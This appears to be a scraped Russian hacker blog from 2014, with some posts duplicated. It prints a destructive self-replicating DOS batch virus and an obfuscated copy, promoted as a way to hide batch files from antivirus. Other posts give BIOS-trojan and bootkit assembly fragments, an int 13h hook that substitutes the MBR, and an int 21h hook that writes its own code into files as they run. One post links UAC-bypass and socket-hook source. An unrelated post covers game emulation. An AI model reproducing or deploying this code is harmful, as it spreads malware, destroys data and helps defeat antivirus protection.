пилить dos-like ось.
Общее·количество·просмотров·страницы
вторник, 28 октября 2014 г.
пятница, 26 сентября 2014 г.
воскресенье, 24 августа 2014 г.
воскресенье, 23 февраля 2014 г.
batch obfuscator\ шифрование батников.
Сел за комп вот.Еще раньше видел деобфускатор батников у kaimi, решил вот тут навоять наоборот обфускатор.Что это собсно за хрень и зачем она нужна.Ну если по простому, есть батник вида:
Поддерживается только нижний регистр (этого должно хватить)
@echo off
echo virus loading
date 13.09.96
if exist c:ski.bat goto abc
copy %0 c:ski.bat
attrib +h c:ski.bat
echo c:ski.bat >>autoexec.bat
:abc
md pridurok
md luzer
md durak
md lamer
label e: pridurok
assoc .exe=.mp3
del c:program files/q
echo virus load
echo virus loading
date 13.09.96
if exist c:ski.bat goto abc
copy %0 c:ski.bat
attrib +h c:ski.bat
echo c:ski.bat >>autoexec.bat
:abc
md pridurok
md luzer
md durak
md lamer
label e: pridurok
assoc .exe=.mp3
del c:program files/q
echo virus load
(скопирован какой-то вирус с паблика,для наглядности)
а превращается он в батник вида
rem obfuscated by SBObD
set ggxjsg=a
set hoceoi=b
set uihzkj=c
set netnof=d
set swayur=e
set qfuyih=f
set klpucr=g
set pvktyh=h
set pizeyh=i
set wyawag=j
set gaxsek=k
set ixkqqn=l
set xzsbni=m
set enxxnj=n
set jmhjlz=o
set evwjoj=p
set uvgdpz=q
set ggkavs=r
set ybbhex=s
set ygwumb=t
set eqpncb=u
set gvncwi=v
set kklkqg=w
set tkedjs=x
set xzmksq=y
set jtoqia=z
%uihzkj%%ixkqqn%%ybbhex%
@%swayur%%uihzkj%%pvktyh%%jmhjlz% %jmhjlz%%qfuyih%%qfuyih%
%swayur%%uihzkj%%pvktyh%%jmhjlz% %gvncwi%%pizeyh%%ggkavs%%eqpncb%%ybbhex% %ixkqqn%%jmhjlz%%ggxjsg%%netnof%%pizeyh%%enxxnj%%klpucr%
%netnof%%ggxjsg%%ygwumb%%swayur% 13.09.96
%pizeyh%%qfuyih% %swayur%%tkedjs%%pizeyh%%ybbhex%%ygwumb% %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb% %klpucr%%jmhjlz%%ygwumb%%jmhjlz% %ggxjsg%%hoceoi%%uihzkj%
%uihzkj%%jmhjlz%%evwjoj%%xzmksq% %0 %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb%
%ggxjsg%%ygwumb%%ygwumb%%ggkavs%%pizeyh%%hoceoi% +%pvktyh% %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb%
%swayur%%uihzkj%%pvktyh%%jmhjlz% %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb% >>%ggxjsg%%eqpncb%%ygwumb%%jmhjlz%%swayur%%tkedjs%%swayur%%uihzkj%.%hoceoi%%ggxjsg%%ygwumb%
:%ggxjsg%%hoceoi%%uihzkj%
%xzsbni%%netnof% %evwjoj%%ggkavs%%pizeyh%%netnof%%eqpncb%%ggkavs%%jmhjlz%%gaxsek%
%xzsbni%%netnof% %ixkqqn%%eqpncb%%jtoqia%%swayur%%ggkavs%
%xzsbni%%netnof% %netnof%%eqpncb%%ggkavs%%ggxjsg%%gaxsek%
%xzsbni%%netnof% %ixkqqn%%ggxjsg%%xzsbni%%swayur%%ggkavs%
%ixkqqn%%ggxjsg%%hoceoi%%swayur%%ixkqqn% %swayur%: %evwjoj%%ggkavs%%pizeyh%%netnof%%eqpncb%%ggkavs%%jmhjlz%%gaxsek%
%ggxjsg%%ybbhex%%ybbhex%%jmhjlz%%uihzkj% .%swayur%%tkedjs%%swayur%=.%xzsbni%%evwjoj%3
%netnof%%swayur%%ixkqqn% %uihzkj%:%evwjoj%%ggkavs%%jmhjlz%%klpucr%%ggkavs%%ggxjsg%%xzsbni% %qfuyih%%pizeyh%%ixkqqn%%swayur%%ybbhex%/%uvgdpz%
%swayur%%uihzkj%%pvktyh%%jmhjlz% %gvncwi%%pizeyh%%ggkavs%%eqpncb%%ybbhex% %ixkqqn%%jmhjlz%%ggxjsg%%netnof%
set ggxjsg=a
set hoceoi=b
set uihzkj=c
set netnof=d
set swayur=e
set qfuyih=f
set klpucr=g
set pvktyh=h
set pizeyh=i
set wyawag=j
set gaxsek=k
set ixkqqn=l
set xzsbni=m
set enxxnj=n
set jmhjlz=o
set evwjoj=p
set uvgdpz=q
set ggkavs=r
set ybbhex=s
set ygwumb=t
set eqpncb=u
set gvncwi=v
set kklkqg=w
set tkedjs=x
set xzmksq=y
set jtoqia=z
%uihzkj%%ixkqqn%%ybbhex%
@%swayur%%uihzkj%%pvktyh%%jmhjlz% %jmhjlz%%qfuyih%%qfuyih%
%swayur%%uihzkj%%pvktyh%%jmhjlz% %gvncwi%%pizeyh%%ggkavs%%eqpncb%%ybbhex% %ixkqqn%%jmhjlz%%ggxjsg%%netnof%%pizeyh%%enxxnj%%klpucr%
%netnof%%ggxjsg%%ygwumb%%swayur% 13.09.96
%pizeyh%%qfuyih% %swayur%%tkedjs%%pizeyh%%ybbhex%%ygwumb% %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb% %klpucr%%jmhjlz%%ygwumb%%jmhjlz% %ggxjsg%%hoceoi%%uihzkj%
%uihzkj%%jmhjlz%%evwjoj%%xzmksq% %0 %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb%
%ggxjsg%%ygwumb%%ygwumb%%ggkavs%%pizeyh%%hoceoi% +%pvktyh% %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb%
%swayur%%uihzkj%%pvktyh%%jmhjlz% %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb% >>%ggxjsg%%eqpncb%%ygwumb%%jmhjlz%%swayur%%tkedjs%%swayur%%uihzkj%.%hoceoi%%ggxjsg%%ygwumb%
:%ggxjsg%%hoceoi%%uihzkj%
%xzsbni%%netnof% %evwjoj%%ggkavs%%pizeyh%%netnof%%eqpncb%%ggkavs%%jmhjlz%%gaxsek%
%xzsbni%%netnof% %ixkqqn%%eqpncb%%jtoqia%%swayur%%ggkavs%
%xzsbni%%netnof% %netnof%%eqpncb%%ggkavs%%ggxjsg%%gaxsek%
%xzsbni%%netnof% %ixkqqn%%ggxjsg%%xzsbni%%swayur%%ggkavs%
%ixkqqn%%ggxjsg%%hoceoi%%swayur%%ixkqqn% %swayur%: %evwjoj%%ggkavs%%pizeyh%%netnof%%eqpncb%%ggkavs%%jmhjlz%%gaxsek%
%ggxjsg%%ybbhex%%ybbhex%%jmhjlz%%uihzkj% .%swayur%%tkedjs%%swayur%=.%xzsbni%%evwjoj%3
%netnof%%swayur%%ixkqqn% %uihzkj%:%evwjoj%%ggkavs%%jmhjlz%%klpucr%%ggkavs%%ggxjsg%%xzsbni% %qfuyih%%pizeyh%%ixkqqn%%swayur%%ybbhex%/%uvgdpz%
%swayur%%uihzkj%%pvktyh%%jmhjlz% %gvncwi%%pizeyh%%ggkavs%%eqpncb%%ybbhex% %ixkqqn%%jmhjlz%%ggxjsg%%netnof%
Это еще скажем простая обфускация, в батник можно добавить разного рода мусора, например так рандомное присвоение строк, или кучу запутанных goto. Однако я не стал этого делать, то шо нахер надо и так пашет)
а зачем надо вот:
(этот же батник на ВТ)
хрень конечно беспонтовая, ну та пофиг я делфю не открывал сто лет уже)
качнуть мона тут: http://splashed.ucoz.ru/SBO.rar
Поддерживаются (но не обфусцируются, в виду просто невозможности это сделать) следующие символы(возможно использовать бат-сценарии)
пробел, . - = : #39 (кавычка одинарная) / \ [ ] * >< @ % 1234567890 + ~
не отрицается наличие каких то тупорылых ошибок, хз толком не проверял, пару-тройку батников работали.
Поддерживается только нижний регистр (этого должно хватить)
интерфейс драг и дроп) просто для ленивых) в папке с прогой создастся crypted.bat
исходники?-да кому они нужны)
исходники?-да кому они нужны)
Споки ноки)))
hash tags: bat obfuscator, шифровать батник, спрятать батник, шифровальщик батников batch obfuscator download
пятница, 31 января 2014 г.
Концепция "неизлечимости" или bios троян
О том чем грозит данный вид ПО даже не хочется говорить.Несомненно, реализация и более того,осмысленность данного ПО спорная и сложная.Как нам всем известно, биосы бывают разные, АМИ,ФЕНИКСЫ и все такое прочее(хотя по статистике больше всего конечно фениксов).Но скажу что это возможно!Более того у меня получилось разместить известный буткит-фрэймворк в виртуальном биосе vmware!Что можно сделать на виртуалке то можно сделать и на реальной машине.Поебаться мне пришлось нехило, а т.е. немного модифицировать сей фреймворк таким вот кодесом:
mov di, 6000h
mov cx, 0fffh
add si,110000b
rep movsw
копируемся где-то в области bios
проверяем, включены ли уже прерывания
cmp byte [19h*4],0
если все ок запускаем код,который был потерт прыжком
mov bx, es
mov fs, bx
mov ds, ax
retf
дальше все по-дефолту
откусываем память в low bios memory
mov [ax,413h]
sub ax,6
переводим в параграфы
mov [413h],ax
shl ax,6
перехватываем прерывание и т.д. то что в фрэймворке.
когда переходим в защищенный режим,(тут я удалил все ненужное для наглядности и сделал вывод напрямую в видеобуфер)
выводим в видеобуфер посимвольно
mov word [ds:0B8000h], 0250h
в итоге смотрим что получилось в данном видео:
mov di, 6000h
mov cx, 0fffh
add si,110000b
rep movsw
копируемся где-то в области bios
проверяем, включены ли уже прерывания
cmp byte [19h*4],0
если все ок запускаем код,который был потерт прыжком
mov bx, es
mov fs, bx
mov ds, ax
retf
дальше все по-дефолту
откусываем память в low bios memory
mov [ax,413h]
sub ax,6
переводим в параграфы
mov [413h],ax
shl ax,6
перехватываем прерывание и т.д. то что в фрэймворке.
когда переходим в защищенный режим,(тут я удалил все ненужное для наглядности и сделал вывод напрямую в видеобуфер)
выводим в видеобуфер посимвольно
mov word [ds:0B8000h], 0250h
в итоге смотрим что получилось в данном видео:
Итог: конечно, возможность заразы была всегда, вспомним тот же cih. Однако, реализовывать это для полномасштабного проекта во-первых глупо,во-вторых очень тяжело(правильно поставить вперед;))
Хотя я видел одну интересную штуку:
В дропере идет драйвер устройства bios, драйвер руткит(прошивка ,полагаю возможна стандартными утилитами,а их надо ныкать это естественно), зараженный модуль( допустим такой какой я сделал),длл-ка для контроля драйвера,и то что работает с образами bios (смотря на какой биос нацелен троян, чаще всего это phoenix award и утилита cbrom)
Некоторые ебанутые дроперы используют свою шифрованную файловую систему за пределами размеченной области жд(это?!ппц) куда и сбрасывают все что несут в себе.
Потом читается bios и определяется его размер.Создается образ биоса на жд.Потом зараженный модуль вносится в этот образ,после чего образ жгется в МС.
Биос определяется по сигнатуре, например в фениксах в комплекте идет свой прошивальщик который и можно найти по его имени.
В общем то штука довольно опасная, тк убрать ее при наличии буткита или руткита режима ядра-не получится.
Да что еще хочу подчеркнуть, механизм буткитов которые опубликованы на мой взгляд не объективен.Во-первых та же windows 7 загружается уже вообще иначе чем ХРюха, а это уже продумывать как минимум два варианта.Надо идеально знать процесс загрузки операционной системы и все такое.Малейший сервиспак\обновление которые уничтожат сигнатуры которыми пользуется буткит,либо вообще принципиально изменят что то-он будет не рабочим.
Я читал и думал об отличном варианте.Ищется определенный exe-шник путем перебора сектора (сигнатура mz), и внедряется код в его заголовок.Почему в заголовок: да потому что в винде есть такая фишка как фрагментация и файл может быть не целым.Как варианта можно составить небольшой парсер файловой системы и таким образом наверняка внедряться в нужный файл.На этом все, я пошел пить пиво;)
Resident evil zero - эмуляция.
Отдыхай играя.Или что то вроде того.
На самом деле не являюсь сторонником задротства и онлайн игр, но иногда, от делать нефиг бывает играю.Играю в более интересные игры, не считая тупой стрельбы как quake или doom( и т.д. и т.п.),в продолжение того что захватило меня в детстве когда я имел playstation и playstation2, а на компе мощнее старкрафта ничего не шло).
В итоге прошел всю серию doom, quake, splinter cell, почти все metal gear solid, и resident evil. Это одна из моих любимейших вещей.И вот наткнулся я короче на resident evil remake- переделка первого РЕ на современный мотив и resident evil zero- которая, по-сути является приквелом первого РЕ и рассказывает всю историю с самого начала.Одна беда, это игры для gamecube,wii.
Со своим не слишком крутым железом на данный момент, почему то игра оооочень медленно шла на dolphin-e , порядком 20 кадров,а на загруженных локациях итого меньше.
Но мне удалось найти и сконфигурировать одну версию dolphin и теперь игруха идет плавно, провисания FPS незначительны и редки.Тут выложу конфигурацию.
Почитать об игре можно тут: http://ru.wikipedia.org/wiki/Resident_Evil_Zero
Мое железо:
core2quad q6600 2.4 GHz
nvidia ge force GTS 250 512mb 256 битная шина.
4gb DDR 3 1333MHz
windows 7 x64bit.
требуемые эмулятор:
dolphin 3.0-307
конфиг(разрешения видео устанавливайте на свое усмотрение):
скриншот игры
Всем приятной игры!
ps фанам RE- must have. игрушка-сила;)
На самом деле не являюсь сторонником задротства и онлайн игр, но иногда, от делать нефиг бывает играю.Играю в более интересные игры, не считая тупой стрельбы как quake или doom( и т.д. и т.п.),в продолжение того что захватило меня в детстве когда я имел playstation и playstation2, а на компе мощнее старкрафта ничего не шло).
В итоге прошел всю серию doom, quake, splinter cell, почти все metal gear solid, и resident evil. Это одна из моих любимейших вещей.И вот наткнулся я короче на resident evil remake- переделка первого РЕ на современный мотив и resident evil zero- которая, по-сути является приквелом первого РЕ и рассказывает всю историю с самого начала.Одна беда, это игры для gamecube,wii.
Со своим не слишком крутым железом на данный момент, почему то игра оооочень медленно шла на dolphin-e , порядком 20 кадров,а на загруженных локациях итого меньше.
Но мне удалось найти и сконфигурировать одну версию dolphin и теперь игруха идет плавно, провисания FPS незначительны и редки.Тут выложу конфигурацию.
Почитать об игре можно тут: http://ru.wikipedia.org/wiki/Resident_Evil_Zero
Мое железо:
core2quad q6600 2.4 GHz
nvidia ge force GTS 250 512mb 256 битная шина.
4gb DDR 3 1333MHz
windows 7 x64bit.
требуемые эмулятор:
dolphin 3.0-307
конфиг(разрешения видео устанавливайте на свое усмотрение):
скриншот игры
Всем приятной игры!
ps фанам RE- must have. игрушка-сила;)
пятница, 10 января 2014 г.
Праздничные плюшки!
Делюсь с вами штучками и рюшечками.
1)Обход UAC (уже известным методом,для чего думаю понятно).
2)Хук сокетов(думаю тоже понятно для чего.Вообще способов применения уйма,но учитывая тематику данного блога,дам намек что это нужно что бы не юзатьшколометод с hosts.инжектора ясен пень в комплекте нету)
все написано на "С" с использованием разных библиотек(но наиболее популярных), для общего развития так-сказать)
скачать сорцы тута: source
1)Обход UAC (уже известным методом,для чего думаю понятно).
2)Хук сокетов(думаю тоже понятно для чего.Вообще способов применения уйма,но учитывая тематику данного блога,дам намек что это нужно что бы не юзать
все написано на "С" с использованием разных библиотек(но наиболее популярных), для общего развития так-сказать)
скачать сорцы тута: source
воскресенье, 5 января 2014 г.
Перехват прерываний.
Ну во-первых, всех с Новым Годом!) Как грится дивиз 2014 года- еб*сь оно все конем))
========================================================================
(АД- ножки,отвечающие за адресацию)
в 8086 была 20 битная шина.( вспоминаем вентиль А20
in al, 92h
or al, 02h
out 92h, al
========
in al, 92h
and al, 0FDh
out 92h, al
Вы любите ночь?
То,что пропускает мир через призму иллюзий)
рабочее место)
========================================================================
"Ебать мой *уй"- так было бы логичнее всего начать мое посленовогоднее послание).Напало стооолько работы,что я не то что не успеваю писать сюда,а даже сделать видео на конкурс...отакие пироги.
Но короче собрался я с силой мысли,духа и так далее и сегодня будет пост (в котором кстати будет в большинстве своем теория)о следующем т.н. этапе буткита-перехват прерывания(основная фишка буткита,с помощью которой он контролирует процесс загрузки операционной системы), мы должный понять, что новое-это хорошо забытое старое,что программируя на ассемблере важно знать строение процессора,его работу,что ДОС- это то что учит писать и думать на асме. Стает печально иногда видеть такой код "mov ax,0" ну что это?)это не красиво,не по культурному.
В общем идея заключается в том что: как говорил мой учитель-каждый программист должен за всю жизнь написать вирус и операционную систему).
Первым мы как раз и займемся. А также рассмотрим установку МСДОС на виртуальную машину,и научимся закидывать в нее все что нам надо.
Начнемс-с пожалуй.
Как мы знаем, был такой чудесный процессор 8086. Почему говорим о нем? Да потому что режим совместимости с
командами поддерживается в моделях следующих процессоров.
8086 мог работать только в режиме R-mode ( режим в котором
работает ДОС).Последующие модели сохранили режим совместимости с ним, а так же
появились такие режимы как V-mode, что по своей сути
представляет концепцию виртуальной машины на уровне процессора.
Как работает адресация? Самая маленькая единица адресуемого блока памяти
является байт. Каждый байт имеет свое положение-физический адрес. Процессор
обращается к ячейке памяти через физический адрес, делает он это через адресную
шину.
Если проще что бы адресовать 2 байта процессору надо было бы иметь шину в 1
бит. 0 -1 байт и 1- второй байт. Вот что подразумевает собой разрядность шины
процессора. Почему 32 разрядный процессор поддерживает до 4 гб ОЗУ,а 64 уже выше,
как раз актуальный пример)
в 8086 была 20 битная шина.( вспоминаем вентиль А20
in al, 92h
or al, 02h
out 92h, al
========
in al, 92h
and al, 0FDh
out 92h, al
)
что означает что 8086 адресовал всего лишь мегабайт памяти)
ну и мы подошли к сути: какжежтак скажите пожалуйтса регистры то 16 битные,
а это значит что он адресовал не мегабайт , а 64 кб.?А вот и
нет.Решение-сегментная адресация. физический адрес проецируется из 2-х 16
разрядных значений, для того что бы обратиться в любое место 20 битной шины, и
видится он нам как : SEGMENT:OFFSET )))
НО стой! 16 да 16 дает нам 32- как выдрать гребанные 20?)
все просто- сегментный регистр (CS,DS,SS,ES) сдвигается влево
на 4 бита, и заполняет младшие 4 бита шины -нулями затем прибавляется
смещение-получаем адрес.Получается границы сегментов располагаются каждые 16
байт-параграфы. 4 битами можно адресовать 16 ячеек, каждая из них содержит один
байт.
итак 2^16*16 ~= 1 мбайт)
это кстати используется в boot вирусах и буткитах
также.
dec word [0413h]
mov ax,[0413h] ;(откусываем базовую память, что бы быть
резидентом)
shl ax,(10-4) ; (конвертируем
в параграфы)
mov es, ax
С основами покончено.Приступим к установке ДОС.
Как известно, в ДОС нельзя подключать всякие сетевые диски и т.д. и т.п.
так что единственное что остается для работы со своими программами это скачать
образ ISO DOS.
открываем его в программе ultraiso и перекидываем туда
папочку с необходимыми нам программами, сохраняем. Теперь установка.
запускаем на дискете fdisk- создаем партицию.
после создания форматируем format C:/S
после того как форматировали , копируем необходимые файлы:
C:
md doss
copy A:\*.* .\doss
copy A:\cd1.sys
copy A:\autoexec.bat
copy A:\himem.sys
copy A:\config.sys
copy R:\example C:\
все,готово.Устанавливаем загрузку с харда.
Приступаем к написанию кода.
Я создам несколько программ для разных методов перехвата.
есть 2 метода:
1)через прерывания ДОС
2)прямой манипуляцией таблицей векторов прерываний.
Начнем со второго, код слегка сложен, но в целом понятен. Данная программа
будет выполнять функцию «стэлс» (как загрузочные вирусы-только резидент).Она
не приносит никакого вреда,а лишь показывает основные аспекты перехвата
прерываний взаимодействием с таблицей векторов прерываний. При попытке прочесть
mbr- будет подставляться
другой сектор.
Сначала код, потом комментирование кода.
.model
tiny
.code
.startup
jmp start
myint13:
cmp ah,2
jne origint13h
cmp cx,1
jne origint13h
mov ah,2
mov al,1
mov cx,4
mov dx,80
jmp origint13h
origint13h:
jmp cs:dword ptr orig13h
orig13h
dw ?
start:
xor
ax,ax
mov ds,ax
mov ax,offset myint13
cli
xchg word ptr ds:[13h*4],ax
mov word ptr cs:[orig13h],ax
mov ax,cs
xchg word ptr ds:[13h*4+2],ax
mov word ptr cs:[orig13h+2],ax
sti
push cs
pop ds
lea
dx, start
int 27h
; mov
ax, 4c00h
;int 21h
end
итак: прыгаем на инициализацию кода.Попадаем сразу же на start.
ax=ds=0 т.к. IVT (interrupt vector table - таблица векторов
прерываний) находится по адресу 0000:0000. (состоит из 256 элементов,к
сведению). Далее в ax указывается т.н. ISR- interrupt service routine - то, куда
будет перекидываться прерывание, при условии что будут выполняться
определенные условия (тавтология)).Иначе говоря как и в перехвате в windows- обработчик. Затем,
в целях безопасности, сбрасываем флаг IF и запрещаем прерываться.
Далее уже просто- номер нашего прерывания (13- работа с дисковым в\в)
надо помножить на 4, (т.к. в реальном режиме работы процессора один элемент
таблицы векторов прерываний это 32 битный адрес обработчика),и получить
дескриптор к ISR ,сначала в сегменте,
потом в оффсете. после чего снова запускаем прерывания с уже измененным
обработчиком. и устанавливаем резидент(т.е. основная часть завершается, а
обработчик «вешается» в память через int 27h). обработчик вообще
элементарен:
проверяем, читают ли сектора- если нет, отдаем управление оригинальному
обработчику
проверяем, это mbr- если нет, отдаем
управление оригинальному обработчику.
если читают mbr - мы читаем свой
сектор и возвращаем его.Вот в принципе и все.
напишем простой листинг для чтения mbr.
.model
tiny
.code
org
100h
start:
mov
cx,1
;mov
dx,80h
mov
ax,0201h
int
13h
push
bx
xor
cx,cx
lea
dx, FileName
mov
ah, 3ch
int
21h
pop
bx
xchg
dx,bx
xor bx,bx
xchg bx, ax
mov
cx, 512
mov
ah, 40h
int
21h
mov
ah, 3eh
int
21h
ret
.data
FileName
db '1.txt',0
end start
смотрим как это работает.
видим подмену сектора)))
Переходим к пункту 1)-установка перехвата с помощью прерывания
ДОС
Код схож, но более минималистичен, за счет чего проще понимается.
Код-потом комментирование.
.model
tiny
.code
org
100h
start:
mov ah,35h
mov al,21h
int 21h
mov
word ptr [int21],bx
mov
word ptr [int21+02h],es
mov ah,25h
mov dx,offset virii
int 21h
xchg ax,dx
int 27h
virii proc
cmp ah,4bh
jne int21_exit
mov ax,3d02h
int 21h
xchg ax,bx
push cs
pop ds
mov ah,40h
mov cx,(start-endd)
mov dx,offset start
int21_exit:
db 0eah
endd:
int21 dd ?
endp
.data
virnamefuckyou db
'6EQUJ5_WOW!'
end start
тут все в разы проще.
с помощью ah,35h и al- номер прерывания
перехвата устанавливаем обработчик прерывания, тут и комментировать нечего.
в обработчике просто- перехватываем функцию exec 4bh- если открыли-
записываем свой код в файл.
маленький-да удаленький как говорится.
скриншоты до запуска и после:
файл victim.com состоит только из инструкции ret и не делает абсолютно ничего.его размер до запуска составляет 1байт.
размер изменился)
а теперь главное,что мне удалось добиться используя фрэймворк одного
буткита:
Вот и сказочке конец, а кто слушал- молодец и очень психически стойкий
человек)))
на последок как обычно чуть фото,я теперь возьму это в традицию)
группа КиШ
То,что пропускает мир через призму иллюзий)
рабочее место)
Подписаться на:
Сообщения (Atom)